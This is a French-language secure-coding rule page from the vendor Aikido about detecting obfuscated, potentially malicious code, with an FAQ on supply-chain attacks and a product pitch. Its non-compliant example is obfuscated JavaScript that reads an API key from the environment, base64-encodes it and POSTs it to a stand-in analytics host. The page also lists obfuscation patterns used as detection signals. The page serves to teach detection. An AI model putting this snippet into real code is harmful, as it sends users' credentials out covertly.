Aikido

Détecter les modèles de codes potentiellement malveillants : identifier les menaces cachées dans votre base de code

Sécurité

Règle
Détecter potentiellement malveillant malveillants. modèles.
Le code doit être transparent dans l'intention intention. 
L'obscurcissement obscurcissement ou dissimulation techniques suggèrent
malveillantes intention ou portes dérobées.
Langues prises en charge : 45+

Introduction

Le code obscurci dans les dépôts de production n'est pas toujours bénin. S'il existe des cas légitimes d'utilisation de la minification du code dans les constructions frontales, une logique délibérément obscurcie dans le code source indique souvent des attaques de la chaîne d'approvisionnement, des portes dérobées ou des dépendances compromises. Les attaquants utilisent des astuces d'encodage, des concaténations de chaînes inhabituelles, une évaluation dynamique et d'autres techniques d'obscurcissement pour dissimuler les charges utiles malveillantes aux examens superficiels du code.

Pourquoi c'est important

Implications en matière de sécurité : Le code obscurci est un indicateur principal de la compromission de la chaîne d'approvisionnement. La porte dérobée 2024 XZ Utils a utilisé une obfuscation sophistiquée pour cacher un code malveillant de contournement de l'authentification SSH. Des techniques similaires apparaissent dans les paquets npm compromis qui exfiltrent des variables d'environnement ou des informations d'identification. Lorsqu'un code cache délibérément son intention, il est conçu pour échapper à la détection lors des examens de sécurité et des analyses automatisées.

La maintenabilité du code : Même lorsque l'obscurcissement n'est pas malveillant, il crée des cauchemars en matière de maintenance. Les futurs développeurs ne peuvent pas comprendre l'intention, le débogage devient impossible et le code devient une dette technique à laquelle personne ne veut toucher. La logique obscurcie contourne tous les outils d'analyse statique conçus pour détecter les bogues ou les vulnérabilités.

Extension de la surface d'attaque : Les techniques d'obscurcissement telles que eval(), Fonction() ou les chaînes codées en base64 créent des chemins d'exécution de code dynamiques que les outils de sécurité ne peuvent pas analyser de manière statique. Cela élargit votre surface d'attaque en introduisant des comportements d'exécution qui ne sont pas visibles lors de l'examen du code source.

Impact sur les performances : Le code obscurci utilise souvent des schémas inefficaces tels que la concaténation excessive de chaînes de caractères, l'accès dynamique aux propriétés ou les opérations répétées de codage/décodage. Ces schémas dégradent les performances tout en n'ayant aucune utilité commerciale légitime dans les référentiels de sources.

Exemples de code

❌ Non conforme :

const _0x4d2e = ['env', 'API_KEY', 'toString', 'base64'];
const _0x1f3a = (i) => _0x4d2e[i];

function sendData(user) {
  const key = process[_0x1f3a(0)][_0x1f3a(1)];
  const payload = Buffer.from(JSON.stringify({
    u: user.email,
    k: key
  }))[_0x1f3a(2)](_0x1f3a(3));

  fetch('https://analytics-cdn.example.com/t', {
    method: 'POST',
    body: payload
  });
}

Pourquoi ce n'est pas sûr : Les noms de variables sont délibérément dépourvus de sens, l'accès aux chaînes est obscurci par l'indexation de tableaux et le point de terminaison contacté n'est pas clair. Ce schéma est identique à la manière dont les paquets malveillants exfiltrent les informations d'identification, ce qui rend impossible la vérification de l'intention réelle du code lors de l'examen.

✅ Conforme :

const ANALYTICS_ENDPOINT = 'https://analytics.example.com/track';

function sendAnalyticsEvent(user) {
  const event = {
    userId: user.id,
    email: user.email,
    timestamp: Date.now()
  };

  return fetch(ANALYTICS_ENDPOINT, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(event)
  });
}

Pourquoi c'est sûr : Noms de variables clairs, point final explicite, structure de données transparente et intention évidente. Tout examinateur peut immédiatement comprendre quelles données sont envoyées et où. Ce code peut être audité par des outils de sécurité et par des humains.

Conclusion

Le code obscurci dans les dépôts de code source est un signal d'alarme en matière de sécurité qui doit être examiné. Si la minification au moment de la construction est acceptable pour l'optimisation de l'interface, le code source doit toujours être lisible et transparent. La détection précoce des schémas d'obscurcissement permet d'éviter les compromis dans la chaîne d'approvisionnement et de maintenir l'auditabilité du code.

FAQ

Vous avez des questions ?

Quels sont les schémas d'obscurcissement les plus courants qui indiquent la présence d'un code malveillant ?

A surveiller : les chaînes encodées en hexadécimal ou base64 qui sont décodées à l'exécution (`Buffer.from('aGVsbG8=', 'base64')`), l'utilisation du constructeur `eval()` ou `Function()` avec des chaînes dynamiques, l'obscurcissement de chaînes basé sur des tableaux où les chaînes sont accédées via des indices, l'échappement inhabituel de caractères (`\x68\x65\x6c\x6c\x6f` au lieu de `"hello"`), l'accès aux propriétés en utilisant la notation par crochets avec des valeurs calculées, et des opérateurs ternaires profondément imbriqués qui obscurcissent le flux de contrôle. Ces modèles apparaissent rarement dans un code légitime.

Existe-t-il des raisons légitimes d'obscurcir le code source ?

Très peu. Les cas d'utilisation légitimes comprennent : la protection des algorithmes propriétaires dans les logiciels commerciaux (bien que cela soit mieux géré par des services dorsaux), le code de licence/DRM qui doit résister à la falsification, et la protection anti-bot côté client. Toutefois, même ces cas doivent être isolés, documentés et examinés séparément. Le code d'une application générale ne doit jamais être obscurci dans les référentiels de sources.

Comment faire la différence entre un code minifié et un obscurcissement malveillant ?

Le code minimisé apparaît dans les artefacts de construction, pas dans les fichiers source. Votre référentiel doit contenir du code source lisible qui est minifié pendant le processus de construction. Si vous trouvez du code minifié ou obfusqué dans votre répertoire `src/` ou dans les fichiers sources `node_modules`, c'est suspect. La minification légitime maintient également une certaine structure (sauts de ligne entre les fonctions), alors que l'obscurcissement malveillant crée souvent des expressions d'une seule ligne, profondément imbriquées.

Que dois-je faire si je trouve du code obscurci dans une dépendance ?

Enquêter immédiatement sur le paquet. Vérifiez quand l'obscurcissement a été introduit (comparez les versions récentes), examinez l'historique du responsable du paquet, recherchez les avis de sécurité, et examinez ce que le code obscurci fait réellement (des outils comme `js-beautify` peuvent aider). Si vous ne pouvez pas vérifier la sécurité, supprimez la dépendance ou mettez en place la dernière bonne version connue. Signalez les paquets suspects à npm security ou au registre des paquets concerné.

L'obscurcissement peut-il être utilisé pour assurer la sécurité par l'obscurité ?

La sécurité par l'obscurité échoue parce que l'obscurcissement est réversible. Les attaquants désobfusquent votre code, mais votre équipe de sécurité et vos outils automatisés ne peuvent pas facilement l'auditer. Cela crée un risque asymétrique : vous êtes aveugle aux vulnérabilités alors que les attaquants ne le sont pas. La véritable sécurité découle d'une authentification appropriée, du cryptage, du moindre privilège et d'autres mesures de défense en profondeur, et non de la dissimulation des détails de l'implémentation.

Comment les attaques contre la chaîne d'approvisionnement utilisent-elles l'obscurcissement ?

Les attaquants compromettent des paquets légitimes et injectent du code malveillant obscurci qui exfiltre des variables d'environnement, des informations d'identification ou du code source. L'obscurcissement aide le commit malveillant à passer les contrôles automatisés et l'examen du code occasionnel. L'incident event-stream de 2018 a utilisé l'obscurcissement pour dissimuler le vol de portefeuilles Bitcoin. Plus récemment, des dizaines de paquets npm ont utilisé l'encodage base64 pour cacher du code d'exfiltration d'informations d'identification. La détection des schémas d'obscurcissement est essentielle pour la sécurité de la chaîne d'approvisionnement.

Quel est l'impact sur les performances des modèles de code obscurcis ?

Le code obscurci utilise souvent des techniques inefficaces : concaténation de chaînes dans les boucles, codage/décodage base64 répété, accès dynamique aux propriétés qui empêche l'optimisation du moteur JavaScript, et création excessive de fermetures. Ces schémas peuvent dégrader les performances de 10 à 50 % par rapport à un code lisible équivalent. Plus important encore, l'impact sur les performances est imprévisible car le code obscurci empêche les optimisations d'exécution que les moteurs comme V8 effectuent sur le code transparent.

Obtenir la sécurité gratuitement

Sécurisez votre code, votre cloud et votre environnement d'exécution dans un système central.
Trouvez et corrigez rapidement et automatiquement les vulnérabilités.

Aucune carte de crédit n'est requise | Scanner les résultats en 32sec.